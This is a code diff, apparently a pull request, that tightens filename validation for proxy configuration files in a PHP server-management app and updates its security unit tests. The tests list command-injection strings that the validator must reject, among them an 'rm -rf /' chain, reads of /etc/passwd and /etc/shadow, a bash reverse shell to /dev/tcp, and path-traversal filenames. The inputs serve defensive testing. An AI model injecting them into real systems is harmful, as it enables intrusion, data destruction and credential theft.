Improve proxy configuration validation (#10503)

app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php

@@ -28,12 +28,11 @@ public function delete(string $fileName)
 
         // Decode filename: pipes are used to encode dots for Livewire property binding
         // (e.g., 'my|service.yaml' -> 'my.service.yaml')
-        // This must happen BEFORE validation because validateShellSafePath() correctly
+        // This must happen BEFORE validation because validateFilenameSafe()
-        // rejects pipe characters as dangerous shell metacharacters
+        // rejects pipe characters through validateShellSafePath().
         $file = str_replace('|', '.', $fileName);
 
-        // Validate filename to prevent command injection
+        validateFilenameSafe($file, 'proxy configuration filename');
-        validateShellSafePath($file, 'proxy configuration filename');
 
         if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
             $this->dispatch('error', 'Cannot delete Caddyfile.');

app/Livewire/Server/Proxy/NewDynamicConfiguration.php

@@ -43,8 +43,7 @@ public function addDynamicConfiguration()
                 'value' => 'required',
             ]);
 
-            // Additional security validation to prevent command injection
+            validateFilenameSafe($this->fileName, 'proxy configuration filename');
-            validateShellSafePath($this->fileName, 'proxy configuration filename');
 
             if (data_get($this->parameters, 'server_uuid')) {
                 $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();

tests/Unit/ProxyConfigurationSecurityTest.php

@@ -12,43 +12,69 @@
  *  - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
  */
 test('proxy configuration rejects command injection in filename with command substitution', function () {
-    expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with semicolon', function () {
-    expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with pipe', function () {
-    expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with backticks', function () {
-    expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with ampersand', function () {
-    expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with redirect operators', function () {
-    expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects reverse shell payload', function () {
-    expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
+test('proxy configuration rejects path traversal filenames', function (string $filename) {
+    expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
+        ->toThrow(Exception::class);
+})->with([
+    '../VICTIM_FILE',
+    '../../etc/shadow',
+    '/etc/passwd',
+    'subdir/config.yaml',
+    'subdir\\config.yaml',
+    'config..yaml',
+    "config.yaml\0../../etc/passwd",
+]);
+
+test('dynamic proxy components use filename-safe validation', function () {
+    $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
+    $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
+
+    expect($deleteComponent)
+        ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
+
+    expect($createComponent)
+        ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
+});
+
 test('proxy configuration escapes filenames properly', function () {
     $filename = "config'test.yaml";
     $escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@
 });
 
 test('proxy configuration accepts legitimate Traefik filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });
 
 test('proxy configuration accepts legitimate Caddy filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });